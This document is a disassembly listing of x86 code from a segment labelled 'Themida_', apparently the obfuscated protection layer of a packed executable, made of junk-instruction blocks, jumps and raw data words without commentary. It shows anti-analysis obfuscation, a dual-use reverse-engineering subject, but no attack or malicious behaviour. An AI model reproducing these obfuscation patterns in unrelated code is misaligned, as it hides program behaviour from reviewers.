		dd 814207EAh, 4A8064C2h, 8BD729FEh, 0C4832414h,	243C3304h
		dd 0E9243C31h, 0FFFF9AD5h, 458CE958h, 481FFFFh,	424h, 4925E900h
		dd 0C829FFFFh, 56F02959h, 931789BEh, 5EF00136h,	0FF6D62E9h
		dd 80B9B6FFh, 0E6C0E8C6h, 0F757E907h, 0B850FFFFh, 32EA44B7h
		dd 0C105E8C1h, 0D5E908E8h, 89000033h, 4C681E6h,	83000000h
		dd 48904ECh, 57E95124h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561217:				; CODE XREF: Themida_:00566146j
		push	edx
		push	ebx
		mov	bl, 9Dh
		jmp	loc_564C37
; ---------------------------------------------------------------------------
		dd 4EC81h, 2C890000h, 7DE95324h, 0BBFFFF52h, 4,	0FF5CBFE9h
		dd 38C681FFh, 0F7304335h, 0AFC681DEh, 292160F1h, 48E95EF1h
		dd 0BFFFFF86h, 1D3B0281h, 0D7F7D7F7h, 0C7814F47h, 4151107Ah
		dd 3CF3F781h, 0FB011804h, 27CBE9h, 81DDF700h, 0D4246CC5h
		dd 4213E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56127A:				; CODE XREF: Themida_:00553C81j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	161Bh
		mov	[esp], edx
		jmp	loc_5613E2
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 51h
		dd 8128C706h, 1D8235EDh, 2C815539h, 6A633624h, 0C6815E3Ch
		dd 3C6A6336h, 0FFD133E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5612AD:				; CODE XREF: Themida_:00554F00j
		xchg	ebx, esi
		push	eax
		mov	eax, 66002816h
		xor	esi, eax
		mov	eax, [esp]
		push	edx
		jmp	loc_5604C2
; ---------------------------------------------------------------------------
		dd 8B243487h, 14892424h, 484CBA24h, 0EAC11BF3h,	0BE564206h
		dd 3F744682h, 815EF201h, 784D83EAh, 0E9E9502Ah,	5BFFFF34h
		dd 0D059CF88h, 0E95251EFh, 0FFFF3B99h, 0C281E289h, 4, 8704C283h
		dd 8F5C2414h, 0FF5C2404h, 0C8B2434h, 4C48324h, 310068h
		dd 43D5E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56131A:				; CODE XREF: Themida_:0055AC5Aj
		mov	[esp], edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		push	esi
		mov	esi, 4
		sub	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_552F11
; ---------------------------------------------------------------------------
		db 53h,	52h, 0B2h
		dd 87B050ABh, 0FEE9C788h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56134F:				; CODE XREF: Themida_:00565EB4j
		xor	ebx, 4EC86102h
		dec	ebx
		inc	ebx
		add	ebx, 574C033Ch
		neg	ebx
		add	ebx, 4C24365h
		sub	edi, ebx
		pop	ebx
		xor	ebp, edi
		pop	edi
		jmp	loc_554596
; ---------------------------------------------------------------------------


loc_561370:				; CODE XREF: Themida_:0055D6CBj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		jmp	loc_555180
; ---------------------------------------------------------------------------
aZst4		db 'Zét4',0
		align 4
		dd 38B7E281h, 0EC83349Dh, 243C8904h, 0B80778BFh, 5FFA0116h
		dd 115ACA81h, 0FE91B94h
		db 0Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5613AB:				; CODE XREF: Themida_:0055368Ej
		mov	edi, esp
		jmp	loc_5637E7
; ---------------------------------------------------------------------------
		dw 2489h
		dd 24048124h, 4, 7DBAE959h, 2158FFFFh, 0B055E9CEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5613CA:				; CODE XREF: Themida_:0055AF96j
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_55613D
; ---------------------------------------------------------------------------


loc_5613E2:				; CODE XREF: Themida_:00561288j
		push	esi
		jmp	loc_55E494
; ---------------------------------------------------------------------------
		dd 3A9FF181h, 0EA8151C3h, 47A35037h, 4C69E9h, 0E9CEFE00h
		dd 1343h
; ---------------------------------------------------------------------------


loc_561400:				; CODE XREF: Themida_:0055EB38j
		mov	edx, 0D4E30B5h
		dec	edx
		neg	edx
		shr	edx, 8
		and	edx, 331D520Dh
		or	edx, 1C2E452Fh
		push	ebp
		jmp	loc_556318
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 85h
		dd 3146374Bh, 0D80159CBh, 3DBB535Bh, 8110401Ch,	697006E3h
		dd 0E8F3816Fh, 564A2717h, 0B13C59BEh, 5EF3015Eh, 628268h
		dd 24148900h, 241D34BAh, 8EAC177h, 0FF3F36E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561459:				; CODE XREF: Themida_:00552FE2j
		push	7913h
		mov	[esp], edi
		jmp	loc_558198
; ---------------------------------------------------------------------------
		dw 0FE28h
		dd 0CDBBE951h, 0C381FFFFh, 7B572E54h, 0FFFC02E9h, 815954FFh
		dd 4C1h, 5CDDE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561486:				; CODE XREF: Themida_:005569D0j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_5576C2
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 0E9000000h, 0FFFF51F4h, 0E904C183h, 0FFFF7296h, 68241C89h
		dd 49BCh, 68240489h, 2D6A3EB9h,	3EB52D58h, 0C3892D6Ah
		dd 0E924048Bh, 0FFFFCFFFh, 405h, 47F3E900h, 34FFFFFFh
		dd 89575824h, 4C781E7h,	0E9000000h, 1217h
; ---------------------------------------------------------------------------


loc_5614EC:				; CODE XREF: Themida_:00551DD8j
		pop	esi
		xor	edx, ebx
		pop	ebx
		jmp	loc_566407
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 81h
		dd 4C3h, 0E594E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561502:				; CODE XREF: Themida_:0055D3A1j
		push	30ABh
		mov	[esp], edx
		mov	edx, 671DCE25h
		jmp	loc_55359A
; ---------------------------------------------------------------------------
		dd 5B585350h, 24048353h, 5935B01h, 76341B5Ch, 6558F20Dh
		dd 59E95236h, 66000033h, 8324048Bh, 3C8904ECh, 56E78924h
		dd 0BB53E689h, 509D3818h, 2414F753h, 0FFC3835Bh, 407ECB81h
		dd 23E947A5h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_561557:				; CODE XREF: Themida_:00552685j
		push	edi
		push	esi
		jmp	loc_565692
; ---------------------------------------------------------------------------
		dw 0E95Bh
		dd 0FFFFD34Fh
; ---------------------------------------------------------------------------


loc_561564:				; CODE XREF: Themida_:005653B7j
		shr	ecx, 2
		push	1132h
		mov	[esp], ebx
		add	dword ptr [esp], 718D6637h
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		jmp	loc_55D0E7
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 65825AF3h, 1D2E9h, 0E9515E00h, 0FFFF2964h, 0ACE95A5Bh
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56159B:				; CODE XREF: Themida_:005526ECj
		xor	ebx, 7B9711E1h
		shl	ebx, 1
		and	ebx, 680F2822h
		jmp	loc_555D0E
; ---------------------------------------------------------------------------


loc_5615AE:				; CODE XREF: Themida_:00563414j
		mov	eax, 1F666F08h
		xor	ebx, eax
		jmp	loc_5586D8
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 243C8904h, 0D0632CBFh, 5FF80128h, 541A68h, 240C8900h
		dd 0A623DB9h, 12E911h, 0C890000h, 736E924h, 8F5BFFFFh
		dd 0E95C2404h, 0A01h, 0C8BC821h, 4C48124h, 51000000h, 0FFDDE6E9h
		dd 0FAE955FFh, 5A000014h, 2404875Ah, 6624248Bh,	66240C89h
		dd 66C8B60Fh, 0DE99C51h, 87FFFF00h, 315C240Ch, 2434FFF0h
		dd 4C4815Eh, 31000000h,	0E930FFC3h, 0FFFEFFF4h
; ---------------------------------------------------------------------------


loc_561634:				; CODE XREF: Themida_:00557B25j
		sub	bl, al
		pop	eax
		mov	al, 0DAh
		xor	al, bl
		pop	ebx
		add	bl, al
		jmp	loc_558869
; ---------------------------------------------------------------------------
		db 2Ch
		dd 57686669h, 1C89664Fh, 0F646B724h, 0E9C7FED7h, 0FFFFF36Ch
		dd 5C240C87h, 0E92434FFh, 0FFFF0449h, 24048B66h, 8904EC83h
		dd 0E2892414h, 4C281h, 74680000h, 89000053h, 0F7E9240Ch
		dd 0BB000040h, 5C3E05BDh, 4F6DEB81h, 0EB832C44h, 5EBC1FFh
		dd 81D3F74Bh, 6D4956F3h, 1122E985h, 2166FFFFh, 0E99C2404h
		dd 0FFFFB92Fh, 7AACC381h, 3C8B2021h, 4C48324h, 0FF9955E9h
		dd 0C5815DFFh, 4, 0FFE2ACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5616C9:				; CODE XREF: Themida_:0055B401j
		jmp	loc_551628
; ---------------------------------------------------------------------------
		dd offset dword_4EE94C+61Ch
		dw 8900h
		dd 0F2B02404h, 48BC100h, 4C48124h, 4000000h, 28E70451h
		dd 2CE72CC8h, 240C8B51h, 1C8B5453h, 4C48324h, 0E904EC83h
		dd 0FFFFC6C0h
; ---------------------------------------------------------------------------


loc_561700:				; CODE XREF: Themida_:005649B3j
		add	ebx, eax
		jmp	loc_565E98
; ---------------------------------------------------------------------------
		db 2Dh
		dd 7E9742CFh, 1FF03540h, 87E940B1h, 83FFFFEAh, 0BF5704C4h
		dd 41172B1Fh, 404C781h,	0F781700Dh, 0E25A57F3h,	12E9FA29h
		dd 0BAFFFF7Dh, 5DF8120Ch, 0E3E9D2F7h, 89FFFFE0h, 4FBB58C2h
		dd 31626D37h, 0EC815AD3h, 4, 55243489h,	0C4631268h, 0CCE95D11h
		dd 0F7FFFF07h, 62EA81D2h, 817F5B18h, 73552CE2h,	2FEA8102h
		dd 8186CEFEh, 5B0225E9h, 81D10131h, 5B0225C1h, 0C1815A31h
		dd 77D8798Bh, 0BD55D901h, 77D8798Bh, 835DE929h,	148904ECh
		dd 46CCBA24h, 7FE9058Eh, 89FFFFC0h, 8B42E9F5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5617AA:				; CODE XREF: Themida_:00552C4Ej
		add	esp, 4
		jmp	loc_554BCF
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 2C181h, 0C330000h,	240C3124h, 8B240C33h, 24D22424h
		dd 55E99C24h, 33FFFEFEh, 16E9241Ch, 5AFFFF9Bh, 8059CA00h
		dd 0D72851C7h, 5A51EF80h, 8B66F828h, 0C483241Ch, 4EC8302h
		dd 0B7241C89h, 0E3C7804Ch, 3AC76866h, 0FF1A38E9h, 241C89FFh
		dd 339868h, 4B33E900h, 0C330000h, 0A1ACE924h, 0CA29FFFFh
		dd 81240C8Bh, 4C4h, 74685B00h, 89000066h, 0B5E92414h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561833:				; CODE XREF: Themida_:0055CF05j
		shl	ebx, 5
		push	esi
		push	edx
		push	0AC4732C4h
		pop	edx
		mov	esi, edx
		jmp	loc_56463B
; ---------------------------------------------------------------------------
		db 1, 0FBh, 81h
		dd 5F20E5EBh, 0E933FF4Bh, 0FFFF0B57h, 90E9505Bh, 5CFFFFC5h
		dd 0FF78B2E9h, 6D9BBFFh, 0F3815C9Eh, 30D80E08h,	0FF2E04E9h
		dd 51DF01FFh, 6E01F3B9h, 2E1C137h, 0C101C183h, 0E95506E1h
		dd 5E5h, 0E95BDA88h, 0FFFF81ACh
; ---------------------------------------------------------------------------


loc_561890:				; CODE XREF: Themida_:0055B344j
		pop	esp
		jmp	loc_55EDDD
; ---------------------------------------------------------------------------
		dw 0C300h
		dd 5004C380h, 0D4F6A8B4h, 0E9CFB753h, 380Fh
; ---------------------------------------------------------------------------


loc_5618A8:				; CODE XREF: Themida_:005527A6j
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 0AF426BAh
		and	ecx, edx
		pop	edx
		push	ecx
		inc	dword ptr [esp]
		jmp	loc_56219B
; ---------------------------------------------------------------------------


loc_5618C5:				; CODE XREF: Themida_:0055D631j
		xchg	ebx, ebp
		not	ebx
		jmp	loc_55F56C
; ---------------------------------------------------------------------------


loc_5618CE:				; CODE XREF: Themida_:00563350j
		push	6C7Bh
		mov	[esp], ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	cx
		mov	cl, 2Eh
		add	bl, 7Ah
		jmp	loc_55EAB1
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 52h
		dd 261AACBAh, 0E9D2F755h, 0FFFFDA94h, 4C481h, 66680000h
		dd 89000061h, 74FF240Ch, 34FF0424h, 2A8CE924h, 0F701FFFFh
		dd 403DC781h, 0C781333Dh, 0B5F698Bh, 5024348Bh,	0C7E9E089h
		dd 0FFFFFF38h, 48B2434h, 4C48124h, 0E9000000h, 3D62h, 0E9241C87h
		dd 0FFFFDCD6h, 58820D58h, 8A351C0Ah, 29FCDEFFh,	24048BC6h
		dd 8704C483h, 895C2434h, 64682414h, 0E9000027h,	3B54h
		dd 0A7055F5Eh, 0D15E1B7Ah, 117E25E0h, 2D40240Bh, 200B1027h
		dd 8758C301h, 248B241Ch, 40524h, 0EC810000h, 4,	0E9243C89h
		dd 0DC5h, 0B65266ACh, 27EE807Ah, 8950CEFEh, 0FB0EE9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5619C2:				; CODE XREF: Themida_:0055D36Dj
		xor	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 1
		push	eax
		mov	eax, ecx
		push	eax
		jmp	loc_566331
; ---------------------------------------------------------------------------


loc_5619D7:				; CODE XREF: Themida_:0055F188j
		push	ebp
		mov	ebp, 14285515h
		push	0
		jmp	loc_553CF1
; ---------------------------------------------------------------------------
		db 81h
		dd 340F27EBh, 2669E912h, 83590000h, 895104C4h, 0A03E9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5619FE:				; CODE XREF: Themida_:00556D38j
		mov	cl, al
		mov	eax, [esp]
		jmp	loc_55F715
; ---------------------------------------------------------------------------


loc_561A08:				; CODE XREF: Themida_:0055DA02j
		mov	[esp], edi
		mov	edi, 5BFB13C4h
		shl	edi, 4
		inc	edi
		shr	edi, 8
		neg	edi
		xor	edi, 0FF406EC4h
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_558EA2
; ---------------------------------------------------------------------------
		db 2 dup(43h), 0E9h
		dd 0FFFFD68Fh, 0DCD6F281h, 0D101DFEFh, 240C335Ah, 33240C31h
		dd 815C240Ch, 0DE5368EBh, 0A49AE911h, 685CFFFFh, 3DF0h
		dd 0E9241489h, 0FFFF5FC7h, 3036B866h, 1C46B966h, 0FF3811E9h
		dd 0FFFB89FFh, 835F2434h, 0DD0104C4h, 241C8B5Bh, 4C481h
		dd 0ADE90000h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561A83:				; CODE XREF: Themida_:005639FBj
		add	eax, ecx
		jmp	loc_553E70
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 24248B24h, 0FF03DDE9h, 0D831ADFFh, 4EC81h, 3C890000h
		dd 12CC6824h, 1C890000h, 4EC8324h, 0FF4CADE9h, 48F54FFh
		dd 24048324h, 9396E904h, 0B951FFFFh, 2F4B1B03h,	0DB25162Dh
		dd 0BB4FE906h, 2489FFFFh, 4B95124h, 1000000h, 0E904244Ch
		dd 0FFFFD0D7h
; ---------------------------------------------------------------------------


loc_561AE0:				; CODE XREF: Themida_:0055EAC6j
		add	bl, al
		push	edx
		push	ecx
		jmp	loc_561B8F
; ---------------------------------------------------------------------------


loc_561AE9:				; CODE XREF: Themida_:00563F7Bj
		shr	eax, 4
		sub	eax, 74C950CFh
		sub	eax, 8B4688B2h
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5593D8
; ---------------------------------------------------------------------------


loc_561B02:				; CODE XREF: Themida_:0055A9BDj
		mov	[esp], ecx
		push	7E1Bh
		mov	[esp], ebx
		mov	ebx, 2C390F54h
		jmp	loc_55A328
; ---------------------------------------------------------------------------
		db 0F7h
aSh8		db 'éhÉ8',0
		align 2
		dw 1489h
		dd 0E99C5024h, 0FFFF5434h, 83243C8Bh, 0F4E904C4h
		db 0FFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_561B33:				; CODE XREF: Themida_:00556656j
		mov	eax, edi
		jmp	loc_55F8A3
; ---------------------------------------------------------------------------
		dw 0B753h
		dd 0D77FE940h, 30ACFFFFh, 916866D8h, 14896639h,	0A3E4E924h
		dd 0BEB8FFFFh, 56700525h, 6023E2BEh, 5EF03109h,	6858C589h
		dd 9A7h, 2919E9h, 2CAD6800h, 0C890000h,	0F9E95324h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561B7B:				; CODE XREF: Themida_:00551E27j
		pop	esp
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	esp, 4
		jmp	loc_556FDA
; ---------------------------------------------------------------------------


loc_561B8F:				; CODE XREF: Themida_:00561AE4j
		mov	cl, 30h
		push	ax
		jmp	loc_5627A7
; ---------------------------------------------------------------------------
		dd 241C8966h, 0FF8952E9h, 81C701FFh, 0CA6633C7h, 0F8E95806h
		dd 0F6000013h, 0FFC480D4h, 6625F480h, 20BEB652h, 0E95A66F4h
		dd 0FFFF142Dh, 0BB53DAF7h, 4B33159Eh, 0C108EBC1h, 0F38102EBh
		dd 58B0E822h, 69E2BA52h, 0DAF7618Fh, 47A0E281h,	0E2816F66h
		dd 43CF37AFh, 0E40C281h, 0D32931FBh, 0E9DA315Ah, 0FFFFF5A6h
		dd 8704C583h, 0FF5C242Ch, 57592434h, 0C781E789h, 4, 41A8E950h
		dd 0C3810000h, 4, 2474FF53h, 241C8B04h,	81E28952h, 4C2h
		dd 4C28300h, 0FFC33CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561C35:				; CODE XREF: Themida_:0055912Ej
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	ebp
		mov	ebp, 2
		mov	esi, ebp
		pop	ebp
		add	edx, 6981144Bh
		jmp	loc_559FCF
; ---------------------------------------------------------------------------
		dd 4BBh, 245C0100h, 83E95B04h, 31FFFFE5h, 0D52959CAh, 52C5015Ah
		dd 0FF3480E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561C6D:				; CODE XREF: Themida_:0056514Aj
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 505E379Eh
		dec	edi
		dec	edi
		add	edi, 0AFA1C868h
		jmp	loc_55F99D
; ---------------------------------------------------------------------------


loc_561C87:				; CODE XREF: Themida_:005659EDj
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_55984F
; ---------------------------------------------------------------------------
		dw 5ADh
		dd 5CAB6372h, 0EC81D829h, 4, 0E9241C89h, 0FFFFCB7Ch, 4C481h
		dd 7E90000h, 5F000047h,	0C25B951h, 0CB012A18h, 0AAEB8159h
		dd 899FFF7Eh, 0DEE95BD9h, 0BAFFFF97h, 8275E9BEh, 6A5BE981h
		dd 0D1016F55h, 6A5BC181h, 148B6F55h, 6015E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561CE6:				; CODE XREF: Themida_:00560362j
		mov	ebp, 0DEF3628h
		jmp	loc_55902C
; ---------------------------------------------------------------------------
		dd 4702E7C1h, 4CB8EF81h, 0FE01341Ah, 10EA815Fh,	0E9304311h
		dd 0FFFFEE0Bh
; ---------------------------------------------------------------------------


loc_561D08:				; CODE XREF: Themida_:0055AC20j
		mov	edx, ebx
		jmp	loc_5579F4
; ---------------------------------------------------------------------------


loc_561D0F:				; CODE XREF: Themida_:00565F94j
		sub	edi, 0A47292E7h
		xor	ebx, edi
		pop	edi
		jmp	loc_55E6BA
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 0E904C483h, 0FFFF88CBh
; ---------------------------------------------------------------------------


loc_561D28:				; CODE XREF: Themida_:00563FE8j
		add	eax, 829014A0h
		jmp	loc_55F15A
; ---------------------------------------------------------------------------


loc_561D32:				; CODE XREF: Themida_:0055E19Aj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55FDE1
; ---------------------------------------------------------------------------


loc_561D3E:				; CODE XREF: Themida_:005552C7j
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		pop	ecx
		push	6A71h
		jmp	loc_55C27E
; ---------------------------------------------------------------------------
		dd 9941E94Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561D5E:				; CODE XREF: Themida_:00551E1Fj
		sub	eax, 4FA616B6h
		pop	ebp
		jmp	loc_560614
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4EC815Dh, 89000000h,	0E189240Ch, 4C181h, 0C1830000h
		dd 240C8704h, 0FFEAF9E9h, 0E9F801FFh, 0FFFFAAEDh, 0E9241C89h
		dd 0FFFF0094h, 8904EC83h, 5FB02404h, 48BC700h, 1219E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561DAA:				; CODE XREF: Themida_:0055D92Bj
		push	ecx
		mov	ecx, 27B73AFBh
		xor	ecx, 3C98180h
		add	ebp, ecx
		pop	ecx
		jmp	loc_5533AD
; ---------------------------------------------------------------------------
		dw 0CA81h
		dd 475D1B50h, 0AB11F281h, 0D129031Ah, 1583E95Ah, 0DDF70000h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_55A36B
; ---------------------------------------------------------------------------


loc_561DE5:				; CODE XREF: Themida_:0055A802j
		xor	ebx, edi
		pop	edi
		mov	edi, ebx
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		jmp	loc_555B41
; ---------------------------------------------------------------------------


loc_561E03:				; CODE XREF: Themida_:0055C0B3j
		add	edx, 4
		xor	edx, [esp]
		jmp	loc_55EFB7
; ---------------------------------------------------------------------------
		dw 0C701h
		dd 0FFAACFE9h, 0A9EF81FFh, 0E9715F65h, 0FFFFB388h
; ---------------------------------------------------------------------------


loc_561E20:				; CODE XREF: Themida_:00554832j
		add	esp, 4
		add	esp, 4
		jmp	loc_55B755
; ---------------------------------------------------------------------------


loc_561E2E:				; CODE XREF: Themida_:00552BBEj
		push	esp
		jmp	loc_5584D3
; ---------------------------------------------------------------------------
		dd 2434335Ch, 33243431h, 248B2434h, 24348924h, 2434FF54h
		dd 0B192E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561E4E:				; CODE XREF: Themida_:00562CBBj
		mov	[esp], ebp
		jmp	loc_55B800
; ---------------------------------------------------------------------------
		dw 0E9C1h
		dd 0F1B85008h, 4839783Ch, 8A24C505h, 58C131E9h,	0FFCF15E9h
		dd 5B6CBDFFh, 0E93157BBh, 0FFB329E9h, 5EC12DFFh, 0C5318DADh
		dd 7AC58158h, 31AF0311h, 2AAE9E8h, 0C581FFFFh, 4, 0B8E4E951h
		dd 0BD04FFFFh, 0FF6701E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561EA1:				; CODE XREF: Themida_:0055EB19j
		xor	edx, 0A97CFADDh
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		sub	ebx, ecx
		sub	ebx, 22123C04h
		push	eax
		mov	eax, 69113B45h
		add	ebx, 38DF4B38h
		add	ebx, eax
		jmp	loc_560862
; ---------------------------------------------------------------------------
		dw 568h
		dd 5B26D072h, 1C8BDA29h, 4C48324h, 1FAFEA81h, 0C22932CFh
		dd 1FAFC281h, 0BF5732CFh, 149F5714h, 496BE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561EF2:				; CODE XREF: Themida_:0055A986j
		mov	[esp], edi
		mov	edi, 4A74240Ah
		push	eax
		jmp	loc_55A051
; ---------------------------------------------------------------------------
		dd 34FFE889h, 0FEFFE924h, 3C8BFFFEh, 5B545324h,	4C381h
		dd 6BE90000h, 0F7000024h, 15C581D5h, 31EDB7ACh,	4367E9EFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561F2A:				; CODE XREF: Themida_:00554B45j
		add	eax, 4
		jmp	loc_55EB86
; ---------------------------------------------------------------------------


loc_561F34:				; CODE XREF: Themida_:0055579Bj
		push	edx
		jmp	loc_5585ED
; ---------------------------------------------------------------------------
		dw 0D2F6h
		dd 5303EAC0h, 0B722B252h, 282DE99Ah, 3C31FFFFh,	243C3324h
		dd 0FF6D1EE9h, 242C89FFh, 0FFACCFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561F5D:				; CODE XREF: Themida_:00553AC1j
		pop	eax
		push	ebp
		mov	ebp, 5AC32C85h
		xor	ebx, ebp
		pop	ebp
		jmp	loc_5518FD
; ---------------------------------------------------------------------------
		dd 60FEF581h, 0EA89377Bh, 0FF699DE9h, 44F581FFh, 55711364h
		dd 0D319E958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561F86:				; CODE XREF: Themida_:0055A937j
		add	edx, 51554FB1h
		sub	edx, 25F16C72h
		add	edx, eax
		add	edx, 25F16C72h
		sub	edx, 51554FB1h
		add	edx, 7FA16F21h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55B7AC
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 50242C89h, 5C29B0B8h, 3E8C124h, 0FF515AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561FC5:				; CODE XREF: Themida_:005593E2j
		mov	eax, [esp]
		push	5C02h
		jmp	loc_556D7F
; ---------------------------------------------------------------------------


loc_561FD2:				; CODE XREF: Themida_:005625ACj
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_564949
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 0C9FEC9FEh, 0FFED70E9h, 48F54FFh, 24048124h
		dd 4, 5624148Bh, 0C6815E54h, 4,	0E904C683h, 0FFFFEDACh
		dd 24048B66h, 579C68h, 240C8900h, 96DEE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56201E:				; CODE XREF: Themida_:005600E9j
		push	ebp
		jmp	loc_563DD0
; ---------------------------------------------------------------------------
		dd 33240C31h, 36E9240Ch, 66000003h, 5124048Bh, 55505954h
		dd 440E60BDh, 33E58115h, 8119D51Bh, 0F6C25C5h, 53E58168h
		dd 4D771F65h, 0FFFF24E9h, 2BED81FFh, 0E9C6B382h, 0FFFF6785h
		dd 54BFEB81h, 0C3296B6Bh, 54BFC381h, 0E9586B6Bh, 0FFFF869Dh
		dd 8A167AB9h, 4CE9527Dh, 0B2FFFFFCh, 66D3306Eh,	3BDE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56208A:				; CODE XREF: Themida_:0055EB5Aj
		add	ebp, eax
		add	ebp, 0C0538FFh
		mov	eax, [esp]
		add	esp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ecx, edi
		pop	edi
		add	ecx, 4
		jmp	loc_562442
; ---------------------------------------------------------------------------
		dd 5AD18959h, 0E904E1C1h, 0FFFFAB3Fh, 4E7C058h,	0FE06EFC0h
		dd 66D7F6CFh, 28E6B050h, 2C5866C7h, 4F80064h, 8B665B64h
		dd 0C4812414h, 2, 3768C330h, 0E9000044h, 0FFFF5984h, 81243489h
		dd 4ECh, 243C8900h, 0FF073AE9h,	6E3C1FFh, 668CC381h, 0D831CD94h
		dd 2C81505Bh, 1E0AAF24h, 0DE95D7Ah
		db 3Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_562117:				; CODE XREF: Themida_:00560805j
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_55163A
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 4BD24h, 0EBE90000h, 5DFFFEF7h, 0FFDF01E9h, 0EC8150FFh
		dd 4, 0BA241489h, 4, 148BD089h,	1A8DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56214E:				; CODE XREF: Themida_:0055DD38j
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_565CC1
; ---------------------------------------------------------------------------


loc_562157:				; CODE XREF: Themida_:0055CB05j
		push	dword ptr [esp]
		jmp	loc_5563F8
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240489h, 0FFFEF4C0h, 267F68h, 240C8900h, 4B9h, 0E9CA0100h
		dd 0FFFF57CEh
; ---------------------------------------------------------------------------


loc_56217C:				; CODE XREF: Themida_:00559B56j
		add	esp, 4
		shr	eax, 8
		jmp	loc_56485E
; ---------------------------------------------------------------------------


loc_56218A:				; CODE XREF: Themida_:0055ADACj
		add	esp, 4
		jmp	loc_55CCC7
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 9Ah
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56219B:				; CODE XREF: Themida_:005618C0j
		pop	ecx
		xor	ecx, 4E81CE86h
